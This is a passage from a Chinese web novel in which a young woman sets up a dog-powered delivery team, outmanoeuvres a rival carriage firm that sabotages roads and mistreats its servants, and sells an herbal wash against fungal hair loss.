她有心去寻它们回来,却毫无头绪。 时间就在她的焦虑中,慢慢流逝,太阳从正中,掉到了山下,天色已经擦黑,往常这个时候,淘气的棉花黑炭,野一天归家,在厨房里蹭头露脑,盯着锅里流口水,现在厨房里还冷清清的,两只小狼,真是丢掉了。 刘青青再也忍不住,噼里啪啦的往下掉眼泪。 翠翠呜呜的哭:“二姐,你把棉花黑炭丢了,它们在外面会饿肚子,会冷,会被欺负……” 刘有山脸上纠结了一下:“停,不要哭了!” “你们口中的小狼,都要成清水沟的黑白双煞了,最大的猎狗看见了它们都摇尾祈怜,俯首称臣,成年壮汉被它们威风凛凛的一扫,也要吓得打个冷噤。” “也就是它们性子好,从来没有伤人的事件,不然,乡亲们早就要求将它们送走了。” “就这样的两只小狼,你们觉得,它们会被欺负么?”它们不欺负别人就不错了。 “也许,它们正和阿云亲热呢,不要着急,明日若它们还不回来,我借几条猎狗出去寻?” 第96章 第96章建立运输队 刘青青忐忑不安,对付着睡了过去,早晨迷迷糊糊听到呜嗷的一声,还有爪子挠门的声音,她翻身下地打开门,晨雾中,棉花黑炭带着一身的露水,扑到她的怀里,差点没把她撞翻。 小姑娘面上的阴郁尽散,欣喜抱着两只小狼的脖子:“你们怎么才回来!” 她不过随口抱怨,黑炭竖了竖耳朵,将后背的小包包怼到她面前,尾巴得意的摇过来摇过去,大眼睛湿漉漉的盯着她,只差在脑门上写:“我厉害吧!” 刘青青轻轻拍了一下它的脑袋:“就你能耐!” 她打开包包口袋,惊讶地揉揉眼睛,里头的泥鳅干河蚌干已经不见,变成了两只白色的鸽子。棉花背上的包包里也装了两只抖成一团的白鸽。 这就很离谱。 刘青青捧起白鸽,白鸽绿豆大的眼睛,紧紧盯着流口水的棉花黑炭,战战巍巍缩作一团。 她哭笑不得一把推开将大脑袋凑过来的棉花,塞了一把泥鳅干到它们的嘴巴里,两小只才老实趴在地上嗑泥鳅干。 白鸽暂时没了威胁,扭过小脑袋看了看刘青青,试探的把小爪子伸了伸。 刘青青才看到它爪子上的裹着一张纸条,拆开后郭守云清秀的字迹展示在面前: “阿青,我已安全到达府学,你的心意,我已经收到。棉花黑炭冒冒失失冲进来,惊到好些学子,以后让它们就在村子附近玩耍。 我另准备了四只信鸽,乖巧懂事,方便传信。 一切好,勿念。” 信鸽小巧,脚环上只能塞一张小小的纸条,郭守云用的是刘青青做的鹅毛笔,方能书写下这么多字。 四只白鸽成了这个家庭的一分子,刘青青按照个子大小,顺着给它们起名叫五妞六妞七妞八妞。 刘青青怕它们飞走,给它们做了个窝。 找几块木板订了个斜顶小木屋,留了一个能让它们钻进钻出的门,里头铺上干燥的稻草,这是它们的大通铺。 外面有个露台,安放食槽。 里分门别类准备里豌豆,小麦,玉米,清水,还有翠绿的豌豆尖,然后将木箱高高钉稳到房檐下。 她爬上楼梯,把几个妞捧到木箱面前,它们呼啦一下都钻了进去,半响才敢露出个小脑袋,偷看一眼又钻了进去。 居高临下看到下面棉花黑炭逮不到它们,有了些安全感,才敢试探着出来,在木箱子外面的过道里,偷偷啄一嘴麦子,或绿芽。 原本四只咕咕准备结伴飞走逃命,可是扑闪两下翅膀,根本飞不起来。 任哪只咕被关在狼崽子的背包里,鼻尖全是狼崽子特有浓烈的味道,时刻煎熬着下一秒变成两只狼崽子的口中餐,都会双翅无力,浑身瘫软的吧。 一定得多吃点压压惊。 疑,这个绿草比以往吃过的要甜,能快速补充身体的力量,腿都不抖了呢,住下来也不错哈。 棉花黑炭成功把泥鳅干送到百里外的郭守云手中,刘青青眼前一亮,以后就用棉花黑炭送货。 速度快,隐蔽性好,唯一缺点就是负载少。 虽然一只大狗狗只可以负重四公斤,但是,村子里谁家没养两三只看门狗啊,估摸着能凑出一只百狗运输队,每次送货400公斤。 清水沟村到县城十五公里路,对土生土长的大黄狗来说,完全是小意思。 刘青青眉开眼笑,同样是出运费,出给自己村里人不香么,而且便宜。 因为裴家,清水沟村的刘姓族人出行受到了一定的影响。 其实影响不大,大家购物去镇上,两里地,凭腿就能去,去县城,坐自家的驴车虽然慢些,但不影响,去府城,村子里暂时没有谁要到府城办事。 裴家封锁的是清水沟村的刘姓一族,大家同气连枝,没有因此抱怨刘家。 而且这一年来跟着刘家赚了不少钱,用石片装修了家里,卖木薯赚了小钱,捡菌子每家至少赚了三五两,喷药增加了稻谷产量,打谷队赚了一笔,卖淤泥赚了一笔,大家的日子从来没有做这样轻松过,只要舍得干活,就能源源不断的往家里拿钱。 现在刘家又变着法儿给大家送钱:租借家里的大黄狗,每一天包着大黄狗的伙食,还给主人家三文钱一天,唯一要求就是主人要每天给大黄狗洗澡刷毛。 三文钱虽少,一个月就是90文,县城里做一日零工也才30文,家里的大黄狗日日在村子里游荡,还要担心它一不小心咬到那些调皮的小孩,现在呢,不用担心,被刘家租借去了。 至于洗澡,本身也要给大黄狗洗澡,家里的孩子都喜欢和狗玩耍,不经常洗澡,狗身上会长虫子,感染孩子就不美了。 也有人担心自家的狗太霸道,刘家管不下来,跟着去镇场子,哪知道去看了一眼才发现,自家狗是个窝里横的,在刘家的两只大狼狗面前,乖巧得像孙子。 刘青青看着草地上排列整齐的10*12狗狗方队,最前面两只便是大一号的棉花黑炭。 狗狗们静悄悄的,没有一丝汪汪声,刘青青有种错觉,自己面前不是狗狗,而是一队等着她检阅的士兵,一种将军出战的豪迈情油然而生。 狗狗们颜色黑灰黄毛色不一,都洗得干干净净,背上背着刘青青让苏氏缝制的特别背包,不影响狗狗们的活动,可以放下四公斤的货物。 刘青青骑着大妞转身朝着县城飞驰,后面的狗狗们炮-弹一样弹出来,紧随其后。 棉花在前面带队,黑炭最后掠阵,第一次试航,刘青青亲自带队,总共选出120只健康强壮的土狗,但还要再淘汰掉20只,只留下100只,成为狗狗运输队常备队员。 刘青青控制着狗来疯的大妞降速,堪堪跑到50公里时速,约摸用 了一刻钟便能看到县城的轮廓。 刘青青领着狗部队停在城门外,自有青华楼的伙计前来接应。 他们取走狗狗们身上的货物后,顺便塞了些生活用品进去,歇息了一会后,刘青青领着狗子们回赶。 回去的路程,有十多只狗狗体力不支,有些掉队,刘青青放缓速度,用掉了两刻钟,她将落后的狗狗的号牌记录下来,这些是要淘汰的。 一进入清水沟刘家,赵满囤端出十盆堆得满满的熟猪大骨,肥得流油的猪骨经过高温的炖煮,散发出浓烈的香气,猛烈的刺激着狗狗们的味蕾。 狗狗们眼睛放光,几乎要扑过去,刘青青咳嗽了一声,棉花黑炭仰头呜嗷长啸,作出攻击的姿势,冷冷的盯着有些暴乱的队形。 狗狗们吓得不敢动弹,乖乖的缩回去坐好,嘴里发出呜呜呜可怜的呜咽声,但身子却坐在自己的位置上不敢再动。 等着赵满仓将他们的背包全部摘除,刘青青点点头,棉花黑炭从食盆前退开,狗狗们按照自己的序列,围到最近的食盆前。 每只狗狗一个大骨头,有只护食霸道的大黑狗,抢夺旁边一只黄狗的骨头,刘青青淡淡瞥了一眼,黑炭纵身向前,一嘴扯着它的后腿甩飞,大毛爪子按在大黑狗的脑袋上,喉咙里发出威吓的呼呼声,大有若大黑狗敢反抗,让它立地毙命于此的意思。 大黑狗挣扎了两下,感受到黑炭眼底冰冷的杀意,不敢再动弹,垂下耳朵表示诚服。 刘青青点点头,黑炭放开大黑狗,大黑狗再也不敢耍横,瘸着腿夹着尾巴灰溜溜缩到角落里啃自己那一块骨头。 刘青青是个大方的,又端出十盆肉骨头,训练狗狗们养成习惯,听话便有骨头吃,不听话便要受到惩罚。 虽然出了点小插曲,但是,汪汪队的第一次试航,圆满完成,为青华楼送去了最新鲜的食材,带回了便宜的生活用品,原价卖给村里的村民,算是对他们也被封杀不能去县城的一个补偿。 裴家车马行的掌柜裴枸抱着手立在柜子后,询问跑回来的伙计:“怎么样,青华楼可倒闭?” 小伙计弓着腰行礼顺便悄悄翻了个白眼,掌柜的每日间早中晚命他跑去打探一趟,这几天他闭着眼都能摸到青华楼。 他直起来身来,脸上换了一副恭敬的神色道:“掌柜的,青华楼不仅没倒闭,反而生意更好了。” “它们二楼,推出的新菜品重振雄风供不应求,每日都有人早早去排队。” “一楼的米线铺子也是人满为患。”浇头上了新款:酸辣田鸡,香辣螺丝,红烧鳝鱼,那滋味,简直绝了。想到这,他不动声色,捂着嘴咳嗽了一声,借机擦了擦嘴角的油,适才去打探的时候肚子饿,闻着那个香味,忍不住混进去点了一碗。 啧,晚些时候去打探,再悄悄干一碗。 裴掌柜犹自不信,这不科学,他们明明断了刘家的运输,青华楼哪来的食材上新? 其实封杀刘家,裴家车马行算是杀敌一千,自损八百,不是谁家都如同刘家那样,需要大量马车运送新鲜的食材。 车马行拉车的牲口,都是些耐力好力气大的蒙古马,能吃能喝,每日光喂马的精饲料就是流水般的开销。 还有马车夫,无论送不送货,都要开支一笔薪水,这也是一大笔钱。 河运那边更不得了,往来船只众多,裴家此举算是损害了船家们的利益,短时间能执行到底,时间一长,那些船家为了赚钱,只怕会阴奉阳违,那裴家对刘家的封杀,就变成个笑话。 裴掌柜面色变得阴沉,现在就比谁能撑得更久。 他估摸着,刘家用驴车糊弄,只是驴车速度慢,食材肯定不新鲜了。 他在考虑,再添一把猛火,干脆找人挖断平安镇到县城的路,让驴车也进不来。 只要耽搁十天,青华楼必然倒闭。 第97章 第97章搬石头砸了自己的脚 县城的木匠铺子朱掌柜兴冲冲的准备了十驴车的家具,亲自带队往平安镇赶。 这半年来,平安镇分店的销售额一路走高,明显比其他几个乡镇高出一倍。 他分析了一番原因,平安镇这半年过得蒸蒸日上,捡菌子、清河泥等,百姓手里有了闲钱,舍得吃舍得穿,舍得换新家具,带动着分店生意兴隆。 寒冬腊月,正是农闲的时候,成婚的小夫妻爆增,预定了八套家具,分店的库存全部清完,这不,他亲自送货去。 只要这批家具顺利交货,马上能入账100两银子,去掉成本,还能赚50两。 都是走习惯的路,就着蒙蒙亮的天色,他一边哼着小曲,一边掏出怀里的饼子,咬一口甜饼充饥。 日子真是越过越好,可以过个大肥年,他正畅想着,过年结了账,是不是再买上个庄子什么的。 不提防,前面多出一条三尺宽,半人深的壕沟,他眼角扫见,手忙脚乱刹车不及,急忙跳车,毛驴就没那么好的运气了,连驴带车翻到了沟里。 一车的家具噼里啪啦掉在沟里,东一片西一块,他可怜的大青驴被压在车底下,悲泣的哀嚎。 朱掌柜颤抖着手臂,示意后面的伙计停车,招来伙计,一起将车抬起来,救出大青驴。 他养了三年的大青驴,焉巴巴躺在沟里,无力的淘蹬了几下,还是去了。 朱掌柜脸沉得能下雨,不谈他对大青驴的感情,就说这样的壮年大青驴,市面上一匹少了二十两银子拿不下来。 还有那一车的家具,全是上好的花梨木,经过伙计们的检查,不是摔坏了柜角,就是磕了缺口,全新打造的上等家具,变成了残次品。 短时间他去哪里找一套一模一样的家具,赔给成婚的新人,碍了人家的婚期,被骂晦气是轻的,又是一大笔赔偿。 得,这么翻一次车,40两银子凭空飞走。 朱掌柜气得直哆嗦,跌足长叹:“查,给我立刻查清楚,是哪个孙子王八蛋挖的壕沟,暗算我们,我和他势不两立!” 因赶着要送货,朱掌柜没办法,招呼伙计们卸下驴车,靠人力一样一样把家具抬过去,再重新装载,累得差点当场去世。 他倒是想填埋壕沟,偏手里没有工具,只有回城的时候,带上人手和工具来填。 朱掌柜不是唯一一个被坑的人,还有粮食铺子、布料铺子、铁器铺子等。 他算是手脚利索的,跳开了,运气不好的,比如布行的郭掌柜,身材肥胖笨重,跟着驴车一起掉到坑里头,摔折了一只腿。 疼得龇牙咧嘴哎哟直叫唤。 刘青青根本没注意到壕沟,她在马背上,大妞纵身一跃便跳了过去,后面的狗狗们,有样学样跳过壕沟,跳不过去的,跳到沟底再捣腾爬上去,半点没阻碍。 事后,她听说众多掌柜堵到裴家车马行门前,义愤填膺讨要说法,才知晓此事。 不由得感叹,裴家不是给别人挖坑,完全是脑子里有坑,这样损人不利己的事竟也做的出来。她眼珠子一转,不暗搓搓的搞事,有点对不起裴家的所作所为。 风暴中心的裴掌柜苦着脸,一一和上门的众多掌柜赔礼道歉,被喷了一脸的口水也不敢回嘴,低声下气解释:“要说这事,其实都怨刘家!我们也是遭了 牵连。” “她们突然断了契约,我们车马行用不了这么多马车,辞退了几个车夫。 其中有一个车夫名叫贺过,等着薪水给母亲治病,没了进项后,他娘病重没了,他便生了报复之心。 他发誓要给刘家吃个大苦头,阴差阳错误伤了各位,实在是冤孽。 你们放心,虽然我们雇佣过贺过,但我们一定不会包庇他,诺,我已经将人捉来,任由各位处置。” 贺过这个蠢货,让他办点事,带人挖点小坑,竟然被人当场捉住,没办法,他只好弃车保帅了。 他狠狠瞪了一眼面前的贺过。 贺过,即之前打探青华楼情报偷吃的小厮,原本是裴掌柜的半个心腹,干了不少缺德的事,如今被推出来背锅,心里不甘。 但是没有办法,自家老娘已经没了,却还有个妹妹在裴家大宅里作丫头,要他敢不听话,人家有的是法子收拾妹妹。 他深深吸一口气,扑通跪在众人面前,啪啪啪开始甩自己嘴巴子:“是我猪油蒙了心,是我一时糊涂,各位大爷要打要骂,尽管来!”他就一个态度,要钱没有,要命一条。 清脆的耳光声不停的响起,众人感觉,那耳光不是打在贺过身上,是打在他们的脸上。 在场的都是老油子。 这个臭不要脸的老匹夫,暗算刘家失败,推出个小厮来顶锅,把屎盆子往刘家头上扣不算,想将此事甩得一干二净,没门。 郭掌柜皮笑肉不笑道:“裴掌柜,刘家不刘家的,人家又没在路上挖坑害人,我们找不到人家头上。 不是老兄弟笑话你,你明知道贺过等着银钱使,也不接济一二,实在是我们掌柜圈里的耻辱。行吧,那是你们的家务事,我也不好多说。 只是,我这条腿因为你们挖的坑才摔折的,你是不是得给个说法?” 他原本想逼裴掌柜多少赔一点医药费,哪知道裴掌柜是个铁公鸡。 还是个狠的。 裴掌柜提起一旁的凳子便朝贺过的腿上砸去,大家听到骨头的碎裂声,贺过闷哼一声,小腿不自然的弯曲,脸如白纸疼得昏了过去。 众人被他吓到,心里对裴家车马行的冷酷无情有了更深刻的认知。 看来,今日是讨不到什么赔偿了,几人对视一眼,甩袖离开。 晚间几人如约来到青华楼,刘青青在二楼包间备下酒席:“诸位叔伯,诸位因刘家之故,受到此无妄之灾,我们真是内疚!” 刘家是木匠铺子的大主顾,朱掌柜识趣接过话,拍腿痛骂:“与你们何干,是裴家车马行太霸道,哎,可惜,还得忍着恶心和他们继续合作!” 郭掌柜心有戚戚:“他们对自己人都下如此狠手,要是将来不如他们意了,还不晓得怎么收拾我们呢!” “是啊,刘家的今日,就是我们的明天!” “没办法,从县城到各个乡镇我们可以用驴车,但是去府城进货,必须用他们家的水运,难怪人家有恃无恐。” 众多掌柜坐在一起,唉声叹气抱怨裴家车马行的霸道独裁。 刘青青疑惑道:“各位叔伯,为什么不走陆运呢,虽然慢一些,用驴车多拉几天就是,这样将脖子给人家掐着,真的好么?” 朱掌柜叹息道:“你有所不知,从府城到县城的路,要经过一座山头,三年前不晓得哪里跑来两头大虫,占了山头作窝圈地盘,吃了两个路人以后,再没有人敢以身试险。 这几年下来,道路年久失修,变得泥泞不堪,更没有商队愿意走了。 而且有水路,陆路不是非走不可。要知道,走水路遇到水匪损失财物,走陆路遇到老虎,那是要命!” 刘青青眨眨眼,她正谋划着过些日子,等青华园施工完成,让二贵叔去山里逮些动物弄到青华园去,突然就知道了老虎的信息,真是天助青华园也。 刘青青压住心底的喜意,正色道:“今日请诸位来,是想和大家商量个事情。 清水河修通后,我打算造一条自己的船,不晓得各位叔伯可要一起,若要的多,相信朱掌柜会给我们便宜些!” 几个掌柜大眼瞪小眼,郭掌柜有些肉疼:“造船可是笔大开支,光跑县城到平安镇,是不是太浪费了些?” 刘青青笑眯眯提醒:“常平县下辖十个镇,每个镇都有大河哦!” 朱掌柜惊喜得站了起来:“你意思是,县城的所有大河都要清淤通航?”啧,那他得准备准备,提前备下给种材料,接下来肯定很多主顾来订做船只。 刘青青连忙摆手,认真道:“我猜的!” 大家都知道她和知县大人关系匪浅,一定是得到了内部消息,提前来给他们通气,各家掌柜对刘家多了一份感激。 众人当场扭身,对准朱掌柜,热切的和他讨价还价,订做船只,顺便决定,与裴家车马行的契约,下个月就停止,不再续签。 刘青青乐得看裴家车马行倒霉,悠闲的喝着刘慧兰调制的甜品。 因为青华楼这段时间的新菜全是水产,寒气重,刘青青特意提醒刘慧兰用黄姜做了几道饮品驱寒。 第一道便是她现在吃的姜撞奶。 新鲜的黄姜去皮剁碎后挤出汁液,将鲜水牛奶加糖煮沸后,用大勺子不停的舀起来再倒回去,降温到八十度左右冲入姜汁碗里。 约摸半柱香,混入空气的牛奶和姜汁物理反应凝固成淡黄色的胶体。 在头上撒几粒葡萄干,或者花生碎,或者花瓣,便是不同口味的姜撞奶。 味道香醇滑嫩,颤巍巍入口即化,奶香浓郁,甜中带辣,驱寒暖身,不少客人用完餐还要打包一份带回去。 也有小姑娘来询问可不可以单买,刘青青拒绝了,实在是水牛奶不好找,县城周边的农户搜寻过来,才寻到这么点,堪堪够店里用。 商议完船只的事,送走各位掌柜。 刘青青强拉着姜老大夫,在棉花黑炭的陪伴下,钻入了一处低矮的房子,里头一个男子毫无血色躺在床上,嘴角不时溢出痛哭的哼唧,看见她来,抄起床头的水碗仍过去:“你还敢来!” 她灵巧避开水碗,冷笑道:“既然你想变成瘸子,那,如你所愿!姜爷爷,我们走!” 第98章 第98章一洗净 “等等!救救我。” 贺过抱着最后的希望叫住刘青青。 他眼里全是阴郁。 白日间,闹事的人走后,裴掌柜叫来车马行附近的大夫,大夫看了一眼摇头道治不了。 贺过痛得肝胆欲裂,更多是对未来的担忧,若成了瘸子,废人一个,他必然是弃子,他和妹妹算是完了。 他苦苦哀求裴掌柜:“掌柜的,你救救我,你送我到府城,府城的大夫一定能看好我的腿!”裴掌柜是怎么回答的,过了这么长时间,他每每回想都感到一阵心寒。 裴铁心讥诮:“贺过,你不想想自己是什么人,府城的名医如何肯屈尊降贵为你治腿。” 贺过不甘的争辩:“我也算为车马行挡了一波劫难,没有功劳还有苦劳,车马行理应出面周旋。” 裴铁心怒不可遏,拍着桌子大骂:“你还好意思说你有功劳,你做事不谨慎,让那些肥猪抓到把柄,害得我今日低声下气,要不是我费心周旋,车马行要被他们讹走多少银子,至少三四百两。 三百两,十个你都赔不起!” 他嫌恶地从怀里掏出一块碎银子丢到他身上:“行了,你我主仆一场,谁让我心慈呢!这里有一两银子,你拿回去打一副拐,养上几个月,我安排你去看门,那是个轻巧活计,保你后半辈子衣食无忧!” 贺过被几个共事的伙计,抬回他租住的小房子里,几人帮他倒了碗水便赶着回去干活,劝他:“你莫要怨恨裴掌柜,刘家才是罪魁祸首!” 腿上钻心的疼痛让他脑袋发蒙。只有不停的咒骂才能转移一下注意 力。 他咒骂刘家的不老实,尽出幺蛾子,为什么要开辟自己的运输路线。 咒骂裴铁心面慈心苦,不送他去府城治腿,咒骂同僚不做人,不留下来照顾他。 骂啊骂,骂得口干舌燥,腹中空空。 腿从一开始的剧痛变成了麻木,慢慢没了知觉,巨大的恐慌环绕着他,再这样下去,他的腿再也好不了了。 贺过不骂了,他流着泪开始祈求菩萨,派个人来帮帮他,不管是谁,哪怕给他端一碗热水,他都感激不尽。 只是,没有人来。 在他浑浑噩噩,又痛又饿,一点一点绝望,以为就要一个人死在这个小房子里的时候,门开了,令他意外的,不是他孝衷的裴掌柜,而是他们的死对头刘青青。 刘青青站在门框里,逆着光,居高临下挑明主题:“我不是闲着没事干来看你笑话,也不是圣母见不得别人受伤。 你的腿受伤与我刘家半点关系也没,我来帮你,肯定是有所求。 以后你帮我做事,我包管把你的腿治好,如何?” 她不怕出银子,就怕出钱出力还弄了个脑子拎不清的,那不是自找苦吃么,所以啊,一开始便把道划出来,莫让贺过觉得,刘家欠的他。 贺过脸上变幻莫测。 他嘴上骂得凶,但心里不得不承认,自己断腿,真心赖不到刘家的头上,历经了委屈悲愤到绝望,他对车马行充满了怨怼。 他倒是想衷心,可是车马行不给他机会啊,将他一人丢在这里自生自灭,已经放弃了他。 至于裴掌柜说的,包着他下半辈子的衣食无忧,首先,他得先活下来。 他捏起拳头,无力的闭眼:“只要不是杀人放火偷盗行窃,我做就是!” 刘青青摸了摸鼻子,这话说得,怎么有些耳熟。 姜老大夫瞥了她一眼,伸出一个巴掌,刘青青陪笑的点点头,他才动手料理贺过的伤。 他轻轻顺着腿骨摸了一把,啧啧了两声:“你这是粉碎性骨折,打你的人,下手忒狠了! 小伙子,你真是福气,遇到了老头子我,找遍整个南平府,也只有老夫治得好。 想要不瘸腿,要打钢针,三个月不能动弹,你可忍得住?” 贺过只想活命,不成为废人,哪里还顾得上疼不疼,连忙点头。 姜老大夫给他喝了一碗汤汁,他便昏昏沉沉睡下。 等醒过来,身边已经没了人,要不是腿上又传来剧烈的疼痛,和包扎好的白色纱布,他都要以为,这一切是一场梦。 腿能好,他绝望的心又活了过来,抓起刘青青留下的烧饼,有滋有味的啃起来。 一直到次日,车马行也没人来探望他,他彻底绝望,借着凳子慢慢挪到外面,寻了邻居的小童每日帮他买吃的,才算没有被饿死。 而帮他正骨后的刘青青再也没出现。 悄悄埋下一颗钉子后,刘青青忧虑的发现,汪汪队的狗狗们不同程度的生病了——集体性的掉毛。 强壮如棉花黑炭也不能幸免。 平时淘气拆家的黑炭,趴在窝里,盯着秃掉一块的爪子,忧愁的不吃不喝,差点把刘青青心疼死。 文静的棉花,一反常态的上蹿下跳,不停的抓挠自己的身子,一缕一缕的银毛飘散在空中,到处都是。 明明之前还好好的啊! 刘青青没办法,领着棉花黑炭去找姜老大夫。 姜老大夫瞅她一眼,没好气的挥手赶人:“你弄个瘸子给我,我废了老鼻子劲,才正完骨打完钢针,累得好几天都没气力。 现在更好,弄两条狗给我治病,我哪里会!赶紧走赶紧走,莫来捣乱!” 把她轰出门外,又开门亮了亮巴掌:“别忘了,说好的五样新菜式!尽快弄好送来,我等着补元气,养够了才有力气给那个小子拆除钢针。” 刘青青无精打采带着棉花黑炭去青华楼,刘慧兰抱着个小包袱回来,塞给她一个小瓷瓶:“天气干燥,你每日骑马风大吹脸,看看,脸都红了,给你买的面脂,记得洗脸后擦哈!” 刘青青好似抓住了什么。 她静静反思,棉花黑炭之前满村子到处乱窜,也没见生个病,这段时间路线统一,她一直盯着,没有吃过或到过什么特殊的地方。 唯一的不同,之前七天洗一次澡,为了保证食品的卫生安全,现在狗狗们一天洗一次澡。 她洗完脸紧绷绷的,可以抹面脂,狗狗们可没有面脂抹。 是不是因为把天然的油脂洗了,皮肤没了保护层,防御力变低,导致了真菌感染,所以掉毛! 若是在末世,给狗狗们抹一点抗菌药就是,可是这里,她去哪里找抗菌药呢。 刘青青绞尽脑汁,冥思苦想,还真想起来个事情。 末世出任务的时候,无论寒冬酷暑,出了基地的保护罩需要全副武装,夏天的时候往往闷出一身的汗,特备是脚,大热的天套着袜子裹在厚厚的防护靴里,细菌滋生,往往痒得难受。 是怎么办的?基地每人发了一瓶洁而阴,倒一瓶到靴子里泡脚,立刻清凉止痒,有效缓解灼痒,然后防护靴打开机关,流走药液,吹干脚部。 别人泡脚的时候锻炼自己的异能,那会她还没激发异能,总不能让别人觉得她没事干,不上进,干脆背了瓶子上的配方。 感谢曾经敏感的自尊心,她记得了好多奇奇怪怪的知识。 刘青青咬着笔头,一样一样将配药的名字写下来:蛇床子、黄柏、艾叶、栀子、山银花、苦参等。 她已经尽力了,具体的药量,需要专业人士操刀。 刘青青提着配方单子去找姜老大夫,看到她这张单子,老头子眼前一亮:“你哪来的!” 她哪里敢承认是背下的,打哈哈:“从一本古籍上抄下来的,可不可以给狗狗们洗澡。” 姜老大夫眼神都变了,看她像败家子:“这方子妙,实在妙极!不仅给狗狗们洗澡,给人洗澡也可以。” “哈?” 姜老大夫眼珠子一转,刘青青小丫头,哪里知道那些花天酒地男人的痛楚,这个方子能大大改善。他笑得贱兮兮的:“和你商量个事,我把量调配出来,这配方你卖给我,如何!” “不如何!” 她年岁浅,见识不浅,自然晓得这方子的用处。真菌攻击人,可不会分古人末世人。 刘青青翻了个白眼:“你独霸了方子,我的狗狗们怎么办! 不如这样,我出钱,你出力,做出药来卖钱,利润我们对半分! 有一个条件,我拿药必须按成本价。” 她的青华园里的动物们,大部分是有毛的,肯定用量大。 姜老大夫帮刘家良多,稍微回报一二也是应该。 姜老大夫一想也是,有了方子,没钱大规模生产也是白搭,他手里的小钱,只够他平时吃吃喝喝,想吃顿大的,还得攒几个月。 两人一拍即合,刘青青提醒:“我是用来给狗狗们洗澡,治疗脱毛起疹子的毛病,你别把药弄得太香,狗狗们会舔毛。” 姜老大夫点头,配好了基础款后,分成两款。 一款是给狗狗们洗澡用的,加了许多黄连,让狗狗们苦得不敢再第二次舔毛。 配给病人的,加了些花瓣,闻着清香扑鼻。 两人分头行动,刘青青抱着一包包的药粉回给狗子们药浴,姜老大夫捧着精心包装好的瓷瓶,深吸一口气,推开门进了包间,向那些狐朋狗友推销他的新产品。 以后能不能吃喝自由,就看这款新药,一洗净了。 第99章 第99章被骗 刘青青回到家,将药粉放到药罐里,加入热水三碗小火慢煎成一碗后,兑上晾凉的温开水,招呼棉花黑炭泡澡。 两小只不情不愿,刘青青沉下脸,棉花才磨磨蹭蹭爬进盆里。 刘青青不管它们的挣扎,强行按着泡了一刻钟。 洗掉澡擦干水的棉花可见的舒服了许多,不再用爪子乱挠。刘青青扯着它的小耳朵骂 道:“说了为你们好,你们偏不听话。 还淘气乱动,搅得我一身水!” 棉花讨好的用脑袋蹭了蹭她。 喜欢偷吃的黑炭本性不改,悄悄舔了舔爪子,立马被苦得蹦起来,伸着舌头满院子绕圈圈,上蹿下跳。惹得刘青青拍腿大笑:“活该!” 药粉有效果,刘青青每只狗狗家发了一包,嘱咐村民们给狗狗们泡澡,三天一个疗程。 经过一段时日的治疗,狗狗们掉毛的症状有了很大的改善,光秃秃的身子又长得光滑水溜,能吃能喝。 姜老大夫送来五十两银子,老脸乐得像一朵菊花,全是得意。据他说,已经卖出了三百多盒一洗净,因为药效特别好,极受欢迎。 刘青青识趣的没问卖给谁,心安理得收下银子。 对比刘家的顺心日子,常平县裴家车马行变得愁云惨淡。 裴掌柜翻着账本,漫不经心道:“南北布行这个月的定金还未送来,你打发人过去催一催!” 二跟班马二苦着脸,躬身小声禀报:“掌柜的,我,我去问了,他们家账房说,以后不用我们帮忙运货,所以……” 不是定金还未送来,是以后都没有了! 他嗫嚅道:“而且,不仅是南北布行,还有木器行,铁器行,粮行,不约而同中断了和我们的契约,没有续签。” 裴铁心愕然抬起头,一茶杯砸在他脑袋上:“你说什么!” 马二被滚烫的茶水泼了一脸,又烫又疼,却不敢躲开,咬着牙齿,战战兢兢越发恭敬重复了一遍:“掌柜的,各家商行都没有续签契约!” 他疼得龇牙咧嘴,心里埋怨死贺过了,断什么不好,非要断腿,这些原本都是他的差事。 现在好了,两个人的差事全部压在他身上,薪水没多一文,差事更多,还有生命危险。 他想起贺过的下场,不自觉打了个冷噤,不行,他要把贺过弄回来顶在前面,不然,他迟早死在脾气暴躁的裴铁心手上。 裴铁心还是他远房舅舅呢,就这? 他保证,以后再也不嫉妒大跟班的位置,这完全不是人过的日子。 裴铁心看他那畏畏缩缩的模样便来气,一脚将他踹了个跟头:“没用的东西,你没有告诉他们,若不用我们的马车,从常平县到府城的船,不会再搭载他们么?” 说了,怎么没说,马二委屈不已,他只差扯着人家的耳朵说了。 人家讥讽裴家车马行霸道不讲理,冷酷无情,是土匪作为,不愿和裴家车马行继续合作。当然,这种话,他是不敢说的,以退为进求饶:“外甥办事不力,还请舅舅责罚!” 责罚罢,最好责罚了去清扫马圈,他也愿意。 裴铁心被一声舅舅,顶得不上不下,烦躁的踹了一脚:“滚吧!” 马二真的诶了一声,滚走了! 裴铁心:“……” 不是,按照惯例,马二不是应该死皮赖脸,痛哭流涕祈求他再给一次将功折过的机会么! 空无一人的账房里,他气得胸口上上下下的起伏,如同拉风箱。 新提拔的外甥就是来克他的。 他挥手又摔了一个茶壶,和刚才的茶碗配成了一对,气息才平稳了些。 没办法,次日他亲自出马,一家一家商行上门亲谈,可是人家不是推脱不在家,便是说出门进货,这些混蛋,竟然连面都不肯见他。 当他拖着疲惫的身子回到车马行,又得了一个坏消息,马圈里的马匹们,染了马瘟。 他脚下一个趔趄,赶到马圈,不敢置信的看着马圈里的马儿们。 这还是他们车马行的马么? 原本膘肥体壮光滑水溜的蒙古马,变得焉头耷脑斑斑点点,有气无力半死不活。 车马行没了马,还叫车马行么,即便他签来订单,去哪儿找马来拉车送货。 惊怒交加之下,命人将马夫拷来毒打审问。 马夫委屈争辩。 原来因为没了定金,车马行少了资金周转,马二自主主张,节省开支,将蒙古马的饲料豆饼,青草果子一律换成干草,马夫的薪水也一降再降。 老话说,马无夜草不肥,更可况以力气耐力见长的蒙古马,马夫又不肯尽心照料,偷工躲懒,十天八日才清扫一次,马圈脏得无处下脚。 营养跟不上,卫生环境又差,能不生病么! 裴铁心抽打马夫的鞭子掉了个弯,落在了马二的身上,要不是马二是他的远房外甥,他一定把这个狗娘养的剁了喂狗。 蒙古马是车马行的立足之本,他有一瞬间的迷茫,不晓得没了蒙古马,他这个车马行的掌柜,还有什么存在的必要。 马二翻腾躲滚鬼哭狼嚎,还是旁的人过来劝道:“掌柜的,如今马儿们都遭了瘟,再打他也不是个办法。不如想个招,卖给那几家!” “他们一直眼馋我们的蒙古马,肯定会动心的!” 裴铁心颓然点头,无力的丢了手中的鞭子。 形势逼人,他舍了这块老脸上门,那几家都不愿再续签,他发誓,定要找补回来。 问题是,大家都不是傻子,凭什么买他们家糟了马瘟的马哟。 马二捂着带了血丝的脸凑了过来,积极出策将功补过:“掌柜的,别家骗不到,但刘家可以啊。” 